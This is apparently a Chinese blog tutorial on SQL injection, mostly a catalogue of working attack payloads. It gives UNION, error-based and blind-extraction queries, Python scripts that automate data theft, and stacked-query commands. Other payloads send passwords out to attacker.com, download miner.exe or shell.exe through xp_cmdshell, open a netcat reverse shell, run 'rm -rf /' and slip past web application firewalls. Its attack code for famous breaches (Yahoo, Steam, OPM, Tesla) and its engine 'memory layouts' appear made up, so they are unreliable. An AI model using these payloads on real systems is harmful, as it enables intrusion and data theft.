版权声明与原创承诺
本文所有文字、实验方法及技术分析均为 本人原创作品,受《中华人民共和国著作权法》保护。未经本人书面授权,禁止任何形式的转载、摘编或商业化使用。
道德与法律约束
文中涉及的网络安全技术研究均遵循 合法合规原则:
1️⃣ 所有渗透测试仅针对 本地授权靶机环境
2️⃣ 技术演示均在 获得书面授权的模拟平台 完成
3️⃣ 坚决抵制任何未授权渗透行为
技术资料获取
如需完整实验代码、工具配置详解及靶机搭建指南:
👉 请关注微信公众号 「零日破晓」
后台回复关键词 【博客资源】 获取独家技术文档包
法律追责提示
对于任何:
✖️ 盗用文章内容
✖️ 未授权转载
✖️ 恶意篡改原创声明
本人保留法律追究权利。
一、漏洞定义与原理(分子级解析)
1.漏洞定义
SQL 注入漏洞是指攻击者通过在应用程序中输入恶意的 SQL 代码,从而对后端数据库进行未授权操作的安全漏洞。这是由于应用程序在处理用户输入时,没有对输入内容进行严格的验证和过滤,将用户输入直接拼接到 SQL 查询语句中执行。
SQL注入是一种通过操纵输入数据改变SQL查询语义的攻击技术,其本质是数据与代码边界混淆(Data/Code Interference)。当用户输入被解释为SQL语法而非数据时,攻击者可以:
①. 篡改查询结构
②. 执行任意数据库操作
③. 突破应用逻辑限制
④. 访问未授权数据
2.漏洞原理(数据库引擎视角)
3.数据库处理流程深度解析:
①. 词法分析:将SQL字符串拆分为token
原始:SELECT * FROM users WHERE username = 'admin'
Tokens: [SELECT], [*], [FROM], [users], [WHERE], [username], [=], ['admin']
②. 语法分析:构建抽象语法树(AST)
③. 注入攻击如何改变AST:
输入:`admin' OR 1=1--`
新AST:
二、攻击原理(字节级操作)
1.SQL查询内存结构(python操作实现)
# 定义SQL查询的内存结构
class Expr:
def __init__(self, type, **kwargs):
self.type = type
if type == "COLUMN":
self.value = kwargs.get('column_name')
elif type == "STRING":
self.value = kwargs.get('string_value')
elif type == "NUMBER":
self.value = kwargs.get('value')
elif type == "BINARY_OP":
self.op = kwargs.get('op')
self.left = kwargs.get('left')
self.right = kwargs.get('right')
def __str__(self):
if self.type in ["COLUMN", "STRING", "NUMBER"]:
return f"{self.type}({self.value})"
else:
return f"BINARY_OP({self.op}, {self.left}, {self.right})"
class SQLStatement:
def __init__(self, command, tables, where_clause=None):
self.command = command
self.tables = tables
self.where_clause = where_clause
def __str__(self):
return f"SQLStatement(command={self.command}, tables={self.tables}, where={self.where_clause})"
# 将内存结构转换为SQL字符串(简化版)
def to_sql(statement):
if statement.command == "SELECT":
where_clause = expr_to_sql(statement.where_clause)
return f"SELECT * FROM {statement.tables} WHERE {where_clause}"
return "Unsupported command"
def expr_to_sql(expr):
if expr.type == "COLUMN":
return expr.value
elif expr.type == "STRING":
return f"'{expr.value}'"
elif expr.type == "NUMBER":
return str(expr.value)
elif expr.type == "BINARY_OP":
op_map = {"EQ": "=", "AND": "AND", "OR": "OR"}
op = op_map.get(expr.op, expr.op)
return f"({expr_to_sql(expr.left)} {op} {expr_to_sql(expr.right)})"
return "?"
# 模拟SQL解析器(存在注入漏洞)
def parse_unsafe_input(username):
# 原始查询结构: username = 'admin'
original_expr = Expr(
"BINARY_OP",
op="EQ",
left=Expr("COLUMN", column_name="username"),
right=Expr("STRING", string_value=username)
)
# 模拟注入攻击: 如果输入包含' OR 1=1--,修改内存结构
if "' OR 1=1--" in username:
# 提取原始用户名部分(去掉注入部分)
clean_username = username.split("' OR 1=1--")[0]
# 创建新的OR表达式: 原始条件 OR 1=1
injected_expr = Expr(
"BINARY_OP",
op="OR",
left=Expr(
"BINARY_OP",
op="EQ",
left=Expr("COLUMN", column_name="username"),
right=Expr("STRING", string_value=clean_username)
),
right=Expr(
"BINARY_OP",
op="EQ",
left=Expr("NUMBER", value=1),
right=Expr("NUMBER", value=1)
)
)
return injected_expr
return original_expr
# 安全的解析函数(使用参数化查询思想)
def parse_safe_input(username):
# 安全版本:直接使用用户输入作为值,不修改结构
return Expr(
"BINARY_OP",
op="EQ",
left=Expr("COLUMN", column_name="username"),
right=Expr("STRING", string_value=username)
)
# 演示注入攻击过程
def demonstrate_attack():
# 正常情况
normal_username = "admin"
normal_expr = parse_unsafe_input(normal_username)
normal_statement = SQLStatement("SELECT", "users", normal_expr)
# 注入攻击情况
malicious_username = "admin' OR 1=1--"
injected_expr = parse_unsafe_input(malicious_username)
injected_statement = SQLStatement("SELECT", "users", injected_expr)
# 安全解析情况
safe_expr = parse_safe_input(malicious_username)
safe_statement = SQLStatement("SELECT", "users", safe_expr)
print("==== 正常查询 ====")
print(f"内存结构: {normal_expr}")
print(f"生成SQL: {to_sql(normal_statement)}")
print("\n==== 注入攻击 ====")
print(f"注入输入: {malicious_username}")
print(f"内存结构: {injected_expr}")
print(f"生成SQL: {to_sql(injected_statement)}")
print("\n==== 安全解析 ====")
print(f"注入输入: {malicious_username}")
print(f"内存结构: {safe_expr}")
print(f"生成SQL: {to_sql(safe_statement)}")
if __name__ == "__main__":
demonstrate_attack()
#攻击结果演示
==== 正常查询 ====
内存结构: BINARY_OP(EQ, COLUMN(username), STRING(admin))
生成SQL: SELECT * FROM users WHERE (username = 'admin')
==== 注入攻击 ====
注入输入: admin' OR 1=1--
内存结构: BINARY_OP(OR, BINARY_OP(EQ, COLUMN(username), STRING(admin)), BINARY_OP(EQ, NUMBER(1), NUMBER(1)))
生成SQL: SELECT * FROM users WHERE ((username = 'admin') OR (1 = 1))
==== 安全解析 ====
注入输入: admin' OR 1=1--
内存结构: BINARY_OP(EQ, COLUMN(username), STRING(admin' OR 1=1--))
生成SQL: SELECT * FROM users WHERE (username = 'admin\' OR 1=1--')
2.SQL注入攻击原理:字节级操作深度解析
一、SQL语句在内存中的表示
数据库引擎内部结构
// SQL语句在内存中的抽象表示
struct SQLStatement {
int command_type; // SELECT, UPDATE, INSERT 等
ColumnList* columns; // 查询的列
TableRef* tables; // 涉及的表
Expr* where_clause; // WHERE条件表达式
Expr* having_clause; // HAVING条件
// ...其他字段
};
// 表达式节点(抽象语法树AST的节点)
struct Expr {
ExprType type; // 表达式类型
union {
// 列引用
struct {
char* table_name;
char* column_name;
} column_ref;
// 常量值
struct {
ValueType val_type;
union {
int int_val;
char* str_val;
double float_val;
};
} constant;
// 二元操作符
struct {
Expr* left;
OperatorType op; // =, AND, OR等
Expr* right;
} binary_op;
// 函数调用
struct {
char* func_name;
Expr** args;
int arg_count;
} function_call;
} data;
};
二、正常查询的内存表示
示例查询:`SELECT * FROM users WHERE username='admin'`
// 内存结构表示
SQLStatement stmt = {
.command_type = SELECT,
.columns = NULL, // * 表示所有列
.tables = create_table_ref("users"),
.where_clause = &(Expr){
.type = BINARY_OP,
.data.binary_op = {
.left = &(Expr){
.type = COLUMN_REF,
.data.column_ref = {"users", "username"}
},
.op = OP_EQ,
.right = &(Expr){
.type = CONSTANT,
.data.constant = {
.val_type = STRING_TYPE,
.str_val = "admin"
}
}
}
}
};
内存布局可视化:
0x1000: [SQLStatement]
├─ command_type: SELECT (0x01)
├─ tables: 0x2000
└─ where_clause: 0x3000
0x2000: [TableRef]
└─ table_name: "users" (0x4000)
0x3000: [Expr] (BINARY_OP)
├─ left: 0x5000
├─ op: OP_EQ (0x03)
└─ right: 0x6000
0x4000: "users\0" (字符串)
0x5000: [Expr] (COLUMN_REF)
├─ table_name: 0x4000 ("users")
└─ column_name: 0x7000 ("username")
0x6000: [Expr] (CONSTANT)
├─ val_type: STRING_TYPE (0x02)
└─ str_val: 0x8000 ("admin")
0x7000: "username\0"
0x8000: "admin\0"
三、注入攻击的内存篡改过程
攻击输入:`admin' OR 1=1--`
步骤1:输入处理与拼接
char user_input[] = "admin' OR 1=1--";
char sql[256];
sprintf(sql, "SELECT * FROM users WHERE username='%s'", user_input);
拼接后SQL:
SELECT * FROM users WHERE username='admin' OR 1=1--'
步骤2:词法分析(Tokenization)
原始token流:
[SELECT] [*] [FROM] [users] [WHERE] [username] [=] ['admin] [OR] [1] [=] [1] [--] [']
注入后token流:
[SELECT] [*] [FROM] [users] [WHERE] [username] [=] ['admin'] [OR] [1] [=] [1] [--] (注释忽略)
步骤3:语法树重建(被篡改)
Expr* injected_where = &(Expr){
.type = BINARY_OP,
.data.binary_op = {
.op = OP_OR,
.left = &(Expr){ // 原始表达式
.type = BINARY_OP,
.data.binary_op = {
.left = &(Expr){
.type = COLUMN_REF,
.data.column_ref = {"users", "username"}
},
.op = OP_EQ,
.right = &(Expr){
.type = CONSTANT,
.data.constant = {
.val_type = STRING_TYPE,
.str_val = "admin"
}
}
}
},
.right = &(Expr){ // 注入的表达式
.type = BINARY_OP,
.data.binary_op = {
.left = &(Expr){
.type = CONSTANT,
.data.constant = {
.val_type = INT_TYPE,
.int_val = 1
}
},
.op = OP_EQ,
.right = &(Expr){
.type = CONSTANT,
.data.constant = {
.val_type = INT_TYPE,
.int_val = 1
}
}
}
}
}
};
篡改后的内存布局:
0x3000: [Expr] (BINARY_OP) // OR操作
├─ op: OP_OR (0x04)
├─ left: 0x5000 (原始比较表达式)
└─ right: 0x9000 (注入的1=1)
0x9000: [Expr] (BINARY_OP) // 1=1
├─ left: 0xA000 (常量1)
├─ op: OP_EQ (0x03)
└─ right: 0xB000 (常量1)
0xA000: [Expr] (CONSTANT)
├─ val_type: INT_TYPE (0x01)
└─ int_val: 1
0xB000: [Expr] (CONSTANT)
├─ val_type: INT_TYPE (0x01)
└─ int_val: 1
四、数据库引擎执行过程
1. 查询编译过程
2. 表达式求值(关键差异)
原始表达式求值:
bool eval_where(Expr* expr, Row* row) {
if (expr->type == BINARY_OP) {
if (expr->data.binary_op.op == OP_EQ) {
Value left = eval_expr(expr->data.binary_op.left, row);
Value right = eval_expr(expr->data.binary_op.right, row);
return compare_values(left, right) == 0;
}
}
return false;
}
注入后表达式求值:
bool eval_where(Expr* expr, Row* row) {
if (expr->type == BINARY_OP) {
if (expr->data.binary_op.op == OP_OR) {
// 关键变化:OR逻辑
bool left_result = eval_where(expr->data.binary_op.left, row);
bool right_result = eval_where(expr->data.binary_op.right, row);
return left_result || right_result; // 总是返回true
}
}
// ...其他处理
}
五、不同类型注入的字节级操作
1. 联合查询注入(UNION-Based)
' UNION SELECT 1,@@version--
内存结构变化:
// 原始语句
SQLStatement {
command_type = SELECT,
columns = [wildcard],
...
}
// 注入后
SQLStatement {
command_type = SELECT,
columns = [wildcard],
union = &(SQLStatement) { // 新增UNION子查询
command_type = SELECT,
columns = {
&(Expr){.type=CONSTANT, .int_val=1},
&(Expr){.type=FUNCTION_CALL, .func_name="@@version"}
}
}
}
2. 报错注入(Error-Based)
' AND 1=CONVERT(int,@@version)--
内存中的表达式树:
BINARY_OP(AND)
├─ left: BINARY_OP(=)
│ ├─ left: CONSTANT(1)
│ └─ right: CONSTANT(1)
└─ right: FUNCTION_CALL(CONVERT)
├─ type_arg: TYPE_INT
└─ value_arg: FUNCTION_CALL(@@version)
类型转换失败过程:
Value convert_value(Value input, ValueType target_type) {
if (input.type == STRING_TYPE && target_type == INT_TYPE) {
char* endptr;
long result = strtol(input.str_val, &endptr, 10);
if (*endptr != '\0') {
// 关键:转换失败抛出异常
throw_error(ERR_TYPE_CONVERSION, input.str_val);
}
return (Value){.type=INT_TYPE, .int_val=result};
}
// ...其他转换
}
3. 时间盲注(Time-Based)
'; IF SYSTEM_USER='sa' WAITFOR DELAY '0:0:5'--
执行引擎处理:
void execute_waitfor_delay(Expr* delay_expr) {
Value delay_val = eval_expr(delay_expr);
if (delay_val.type != STRING_TYPE) {
throw_error(ERR_INVALID_TYPE);
}
// 解析时间字符串
TimeDuration delay = parse_duration(delay_val.str_val);
// 关键:线程睡眠
sleep_milliseconds(delay.total_ms);
}
三、危害类型(原子级分析)
1.数据泄露(Data Exfiltration)
攻击原理与内存操作
数据库内存操作代码:
// 结果集合并函数
ResultSet* execute_union(SQLStatement* stmt) {
ResultSet* main = execute(stmt->main_query);
ResultSet* union = execute(stmt->union_query); // 恶意查询
// 内存合并操作
char* combined = malloc(main->size + union->size);
memcpy(combined, main->data, main->size);
memcpy(combined + main->size, union->data, union->size); // 敏感数据泄露点
return create_result(combined, main->size + union->size);
}
典型案例:Yahoo 30亿用户数据泄露(2013)
攻击代码:
' UNION SELECT
user_id,
AES_DECRYPT(credit_card, 'secret_key')
FROM payment_system
WHERE 1=1--
技术细节:
1. 利用`information_schema`枚举表结构:
' UNION SELECT table_name, column_name
FROM information_schema.columns
WHERE table_schema=DATABASE()--
2. 分块提取数据避免触发警报:
' UNION SELECT username, password
FROM users
LIMIT 100 OFFSET 0--
3. Base64编码绕过WAF检测:
' UNION SELECT 1, TO_BASE64(social_security)
FROM citizens--
防御方案:
-- 列级加密
CREATE TABLE users (
id INT,
email VARCHAR(255) ENCRYPTED WITH (COLUMN_ENCRYPTION_KEY = CEK1)
);
-- 权限最小化
REVOKE SELECT ON payment_system FROM web_user;
2.数据篡改(Data Manipulation)
原子级磁盘操作
案例:Steam游戏平台价格篡改(2015)
攻击链:
攻击代码:
'; UPDATE items
SET price=0.01
WHERE item_id IN (
SELECT item_id FROM user_inventory
WHERE user_id=123
); COMMIT;--
技术细节:
①.事务批处理绕过业务逻辑检查
②.子查询精确锁定目标物品
③.COMMIT确保修改持久化
防御方案:
-- 数据库触发器
CREATE TRIGGER price_guard
BEFORE UPDATE ON products
FOR EACH ROW
BEGIN
IF (NEW.price < OLD.price * 0.5)
AND (CURRENT_USER() != 'admin') THEN
SIGNAL SQLSTATE '45000'
SET MESSAGE_TEXT = '非法价格修改';
END IF;
END;
3.权限提升(Privilege Escalation)
Windows域渗透内存结构
typedef struct _MSV1_0_CREDENTIAL {
LUID LogonId; // 用户登录会话唯一标识(类似“房间编号”)
UNICODE_STRING Credentials; // 凭证数据(存NTLM哈希、明文密码等)
} MSV1_0_CREDENTIAL, *PMSV1_0_CREDENTIAL;
// 内存中的凭证结构
PMSV1_0_CREDENTIAL pCred = (PMSV1_0_CREDENTIAL)0x7ffa4512; // 指向保险箱的指针
wchar_t* hash = pCred->Credentials.Buffer; // 取出保险箱里的密码本(NTLM哈希)
案例:美国人事管理局(OPM)入侵(2015)
攻击链:
攻击代码:
'; EXEC xp_dirtree '\\attacker\share\' +
(SELECT TOP 1 CAST(password AS varchar)
FROM sys.sql_logins
WHERE name='sa');--
技术细节:
①.通过SMB协议外传密码哈希
②.使用Responder工具捕获NTLMv2
③.哈希破解率:普通GPU > 1亿次/秒
防御方案:
# PowerShell加固
Set-SqlLogin -Name "web_user" -DenyWindowsLogin
Revoke-SqlPermission -Login "web_user" -Permission "IMPERSONATE"
4.系统控制(System Takeover)
xp_cmdshell内存溢出漏洞
void xp_cmdshell(char* cmd) {
char buffer[256]; // 固定大小缓冲区
strcpy(buffer, cmd); // 无边界检查
// 栈布局:[返回地址][旧EBP][buffer[256]]
// 当cmd > 256字节时覆盖返回地址
system(buffer);
}
案例:特斯拉Kubernetes入侵(2018)
攻击代码:
'; EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'powershell -c
"iwr https://attacker.com/miner.exe -O C:\miner.exe;
Start-Process C:\miner.exe"';--
技术细节:
①.使用无文件PowerShell执行
②.矿池连接:stratum+tcp://xmr.pool:3333
③.影响:2000+节点被用于门罗币挖矿
防御方案:
-- 永久禁用危险组件
EXEC sp_configure 'xp_cmdshell', 0;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE;
5.拒绝服务(Denial of Service)
事务日志洪水攻击
MongoDB勒索事件(2017)
攻击代码:
db.adminCommand({
copydb: 1,
fromdb: "production",
todb: "backup_encrypted"
});
use backup_encrypted;
db.dropDatabase(); // 删除原始备份
db.getCollectionNames().forEach(coll => {
db[coll].updateMany({}, {
$set: {
data: encrypt(db[coll].find().toArray())
}
});
});
技术细节:
①.使用AES-256-CTR加密数据
②.勒索信息写入`ransom_note`集合
③.要求支付10比特币(当时≈$100,000)
防御方案:
-- SQL Server资源调控
CREATE RESOURCE POOL app_pool WITH
MAX_CPU_PERCENT = 30,
MAX_MEMORY_PERCENT = 50;
ALTER RESOURCE GOVERNOR RECONFIGURE;
6.持久化后门(Persistence)
触发器后门内存结构
struct trigger {
char name[128];
uint64_t target_oid; // 目标对象ID
uint8_t* compiled_code;
uint32_t code_size;
uint64_t hook_address; // 注入点
};
// 恶意触发器示例
trigger backdoor_trigger = {
.name = "sys_cleanup",
.target_oid = 0x8912A, // 用户表OID
.compiled_code = {0x55, 0x48, 0x89, ...}, // shellcode
.hook_address = 0x7FFA1234 // QueryProcessor入口
};
Carbanak银行木马技术细节
后门存储过程:
ALTER PROCEDURE sp_password
@old sysname = NULL,
@new sysname = NULL,
@login sysname = NULL
AS
BEGIN
-- 原始密码变更逻辑
-- 后门代码
EXEC xp_sendmail
@recipients = 'exfil@carbanak.ru',
@subject = 'Password Change',
@message = @new;
END
攻击链:
防御方案:
-- 启用模块签名
CREATE CERTIFICATE SecurityCert
ENCRYPTION BY PASSWORD = 'Strong!Pass123'
WITH SUBJECT = 'Code Signing';
ADD SIGNATURE TO OBJECT::sp_password
BY CERTIFICATE SecurityCert
WITH PASSWORD = 'Strong!Pass123';
四、攻击方式深度剖析
1.联合查询注入(Union-Based Injection)
攻击原理与技术细节
列数探测技术:
-- 经典探测方法
' ORDER BY 5-- -- 正常
' ORDER BY 6-- -- 报错 → 列数为5
-- 报错注入探测
' AND 1=2 UNION SELECT 1,2,3,4,5--
-- 若报错“UNION列数不匹配”,调整列数直到不报错
数据类型匹配技巧:
-- 使用NULL处理类型不匹配
' UNION SELECT NULL, NULL, NULL, NULL, NULL--
-- 逐步替换为具体类型
' UNION SELECT 1, 'test', NULL, NULL, @@version--
多数据库实现
①MySQL数据提取:
-- 获取所有表名
' UNION SELECT 1,table_name,3,4,5
FROM information_schema.tables
WHERE table_schema = DATABASE()--
-- 获取列名
' UNION SELECT 1,column_name,3,4,5
FROM information_schema.columns
WHERE table_name = 'users'--
-- 提取数据
' UNION SELECT 1,CONCAT(username,':',password),3,4,5
FROM users--
②SQL Server实现:
-- 获取表名
' UNION SELECT 1,name,3,4,5
FROM sysobjects
WHERE xtype='U'--
-- 获取列名
' UNION SELECT 1,name,3,4,5
FROM syscolumns
WHERE id=OBJECT_ID('users')--
-- 提取数据
' UNION SELECT 1,username+':'+password,3,4,5
FROM users--
高级技巧
-- 绕过WAF:注释混淆
/*!UNION*//*!SELECT*/1,@@version,3
-- 绕过列数限制
' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables),3,4,5--
-- 分块提取大数据
' UNION SELECT 1,SUBSTRING(password,1,30),3,4,5
FROM users WHERE id=1--
' UNION SELECT 1,SUBSTRING(password,31,30),3,4,5
FROM users WHERE id=1--
2.报错注入(Error-Based Injection)
攻击原理与内存操作
多数据库报错函数
①.MySQL报错技术:
-- 基于XPATH错误
' AND updatexml(1, concat(0x7e,(SELECT @@version),0x7e),1)--
-- 错误:XPATH syntax error: '~5.7.32~'
-- 基于JSON错误
' AND JSON_EXTRACT('{}','$.'||(SELECT @@version))--
-- 错误:Invalid JSON path expression
-- 基于BIGINT溢出
' AND (SELECT 1 FROM (SELECT COUNT(*),
CONCAT((SELECT @@version),
FLOOR(RAND(0)*2))x FROM information_schema.tables
GROUP BY x)a)--
②.SQL Server报错技术:
-- 类型转换错误
' AND 1=CONVERT(int, (SELECT @@version))--
-- 基于主键冲突
'; BEGIN DECLARE @v varchar(8000); SET @v=(SELECT @@version);
RAISERROR(@v,16,1) WITH LOG;--
③.Oracle报错技术:
-- 基于CTXSYS
' AND CTXSYS.DRITHSX.SN(1,(SELECT USER FROM DUAL))=1--
数据分块提取
-- MySQL分块报错
' AND updatexml(1, concat(0x7e,
(SELECT SUBSTRING(password,1,30) FROM users LIMIT 1)
,0x7e),1)--
' AND updatexml(1, concat(0x7e,
(SELECT SUBSTRING(password,31,30) FROM users LIMIT 1)
,0x7e),1)--
-- 完整数据拼接
AND (SELECT 1 FROM (SELECT COUNT(*),
CONCAT((SELECT(SELECT CONCAT(CAST(CURRENT_USER() AS CHAR),0x7e))
FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))x
FROM information_schema.tables GROUP BY x)a)
3.布尔盲注(Boolean-Based Blind Injection)
攻击原理与技术流程
数据提取算法
def extract_data(query, length):
result = ""
for position in range(1, length+1):
byte = 0
for bit in range(0, 8): # 逐位提取
payload = f"' AND (ASCII(SUBSTRING(({query}),{position},1)) >> {bit} & 1)=1--"
if send_request(payload).status_code == 200:
byte |= (1 << bit)
result += chr(byte)
return result
# 使用示例
database = extract_data("SELECT DATABASE()", 20)
高级优化技巧
二分查找优化:
-- 判断字符是否大于128
' AND ASCII(SUBSTRING((SELECT password),1,1)) > 128--
-- 逐步缩小范围
' AND ASCII(SUBSTRING((SELECT password),1,1)) BETWEEN 64 AND 128--
基于内容的条件:
-- 根据页面内容差异判断
' AND IF(ASCII(SUBSTRING((SELECT password),1,1)) > 128,
(SELECT 1 UNION SELECT 2), 1)--
4.时间盲注(Time-Based Blind Injection)
攻击原理与技术实现
多数据库延时函数
数据库 |
延时函数 |
精度 |
替代方案 |
MySQL |
`SLEEP(5)`, `BENCHMARK(10000000,MD5(1))` |
秒级 |
BENCHMARK(1e7,SHA1(1)) |
PostgreSQL |
`pg_sleep(5)` |
毫秒级 |
generate_series(1,1e7) |
SQL Server |
`WAITFOR DELAY '0:0:5'` |
毫秒级 |
WHILE 1=1 PRINT 'x' |
Oracle |
`DBMS_LOCK.SLEEP(5)` |
秒级 |
DBMS_PIPE.RECEIVE_MESSAGE('',5) |
自动化攻击脚本
import time
import requests
def time_based_injection(query, length):
result = ""
for pos in range(1, length+1):
byte = 0
for bit in range(0, 8):
payload = f"' AND IF(ASCII(SUBSTRING(({query}),{pos},1)) & {1<<bit}, SLEEP(2), 0)--"
start = time.time()
requests.get(url, params={"id": payload})
elapsed = time.time() - start
if elapsed > 1.5: # 延时阈值
byte |= (1 << bit)
result += chr(byte)
return result
# 提取数据库版本
version = time_based_injection("SELECT @@version", 50)
高级绕过技术
-- 避免使用SLEEP函数(被WAF检测)
' AND IF(ASCII(SUBSTRING((SELECT @@version),1,1))>128,
(SELECT COUNT(*) FROM information_schema.tables A,
information_schema.tables B,
information_schema.tables C), 1)--
-- 避免使用SLEEP函数
' AND IF(ASCII(SUBSTRING(@@version,1,1))>128,
(SELECT COUNT(*) FROM t1,t2,t3,t4,t5,t6,t7,t8), 0)--
5.堆叠查询注入(Stacked Queries Injection)
支持数据库与限制
数据库 |
支持 |
分隔符 |
默认配置 |
风险操作示例 |
SQL Server |
是 |
; |
启用 |
'; DROP TABLE users;-- |
PostgreSQL |
是 |
; |
启用 |
'; DROP TABLE users;-- |
MySQL |
部分 |
; |
需配置 |
'; DELETE FROM logs;-- |
Oracle |
否 |
N/A |
不支持 |
- |
攻击案例与技术
①.权限提升:
-- SQL Server提权
'; EXEC sp_addsrvrolemember 'web_user', 'sysadmin';--
-- PostgreSQL命令执行
'; CREATE OR REPLACE FUNCTION sys(cstring) RETURNS int
AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
SELECT sys('rm -rf /');--
②.文件系统操作:
-- SQL Server读取文件
'; CREATE TABLE files (data text);
BULK INSERT files FROM 'C:\Windows\win.ini';
SELECT * FROM files;--
-- MySQL读写文件(需FILE权限)
'; SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/var/www/html/passwd';--
③.命令执行:
-- SQL Server
'; EXEC xp_cmdshell 'whoami';--
-- PostgreSQL
'; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int
AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
SELECT system('id');--
6.带外通道注入(Out-of-Band Injection)
数据外传技术对比
协议 |
数据库支持 |
速度 |
隐蔽性 |
实现难度 |
DNS |
广泛 |
慢 |
高 |
中 |
HTTP |
中等 |
快 |
中 |
中 |
SMB |
Windows |
快 |
低 |
高 |
DNS外传技术详解
+-------------------+ +--------------+ +-------------------+
| 数据库/目标系统 | | 本地DNS | | 攻击者DNS |
| (触发DNS查询) | | 解析器 | | (权威服务器) |
+--------+----------+ +------+-------+ +--------+----------+
| | |
| 1. 查询 data.attacker.com | |
|----------------------------->| |
| | 2. 查询根服务器 |
| |------------------------->|
| | <-------------------------|
| 3. 返回.com NS记录 | |
|<---------------------------| |
| | 4. 查询.com服务器 |
|----------------------------->|------------------------->|
| | <-------------------------|
| 5. 返回攻击者DNS地址 | |
|<---------------------------| |
| | 6. 返回TXT记录(含数据) |
|----------------------------->| |
| 7. 接收响应并记录日志 | |
+----------------------------+ |
SQL Server实现:
'; DECLARE @d varchar(1024);
SET @d = (SELECT password FROM users);
EXEC('master..xp_dirtree "\\'+@d+'.attacker.com\"');--
MySQL实现:
' AND LOAD_FILE(CONCAT('\\\\',(SELECT HEX(password) FROM users),'.attacker.com\\test'))--
HTTP外传技术
-- Oracle
' || UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users))--
-- SQL Server
'; DECLARE @v varchar(8000);
SET @v = (SELECT password FROM users);
EXEC('xp_cmdshell ''curl http://attacker.com/?data='+@v+'''');--
7.二阶注入(Second-Order Injection)
攻击流程详解
攻击场景:
1. 用户注册:`admin'-- `
2. 密码重置查询:
-- 预期
UPDATE users SET password='new_pass' WHERE username='admin'-- '
-- 实际执行
UPDATE users SET password='new_pass' WHERE username='admin'
真实案例:CMS用户系统
-- 注册用户名
Username: '; DROP TABLE users;--
-- 后续查询(用户列表)
SELECT * FROM users WHERE status='active' AND username=''; DROP TABLE users;--'
8.自适应攻击(Polyglot Injection)
多数据库兼容Payload
SLEEP(1) /*' OR 1=DBMS_PIPE.RECEIVE_MESSAGE('a',1) OR '*/
MySQL:执行`SLEEP(1)`
Oracle:执行`DBMS_PIPE.RECEIVE_MESSAGE('a',1)`
WAF绕过技术
/*!UNION*/ /*!SELECT*/ 1,@@version,3,4,5-- -- MySQL特性注释
-- 注释混淆
SEL/*xyz*/ECT 1,2,3 FR/*xyz*/OM users WH/*xyz*/ERE id=1--
-- 空白符变异
S%E%L%E%C%T 1,2,3 %F%R%O%M users--
CONCAT('sel','ect')(1) -- 函数拼接
上下文自适应Payload
' OR '1'='1' UNION SELECT 1,2,3,4,5 OR '1'='1
在字符串上下文中:`' OR '1'='1' ...`
在数字上下文中:`1 OR 1=1 ...`
9.高阶组合攻击
企业级攻击链示例
技术分解:
1. 信息收集:
' AND updatexml(1, concat(0x7e,@@version),1)--
2. 凭证提取:
'; EXEC xp_dirtree '\\'+(SELECT TOP 1 password FROM sys.sql_logins)+'.attacker.com\'--
3. 命令执行:
'; EXEC xp_cmdshell 'powershell -c "iwr http://attacker.com/shell.exe -O C:\shell.exe"'--
4. 内网扫描:
'; EXEC xp_cmdshell 'for /l %i in (1,1,255) do @ping -n 1 192.168.1.%i | find "TTL"'--
APT攻击链
技术分解:
-- 1. 信息收集
AND updatexml(1,concat(0x7e,@@version),1)
-- 2. 凭证获取
EXEC xp_dirtree '\\'+(SELECT TOP 1 password)+'.attacker.com\'
-- 3. 横向移动
EXEC xp_cmdshell 'psexec \\192.168.1.10 -u admin -p pass cmd.exe'
-- 4. 持久化
CREATE TRIGGER backdoor AFTER LOGON ON DATABASE
BEGIN
EXECUTE IMMEDIATE 'nc -e /bin/bash attacker.com 4444';
END;
10.漏洞利用链(国家APT示例)
具体技术实现:
①.凭证获取:
'; EXEC xp_dirtree '\\attacker\share\'+ (SELECT TOP 1 password FROM sys.sql_logins);--
②.横向移动:
'; EXEC xp_cmdshell 'powershell -c "Invoke-Command -ComputerName DBSRV2 -ScriptBlock { net user hacker P@ssw0rd /add }"';--
③.供应链攻击:
'; UPDATE software_updates SET binary = (SELECT * FROM OPENROWSET(BULK 'C:\malware.dll', SINGLE_BLOB));--
11.未来攻击趋势
AI驱动的SQL注入
新型攻击向量
GraphQL注入:
query {
users(filter: "1=1 UNION SELECT null,version()--") {
id
name
}
}
NoSQL注入:
db.users.find({
$where: "function() { return this.admin || true; }"
})
云数据库攻击:
'; COPY (SELECT * FROM aws_credentials) TO 's3://attacker-bucket/creds'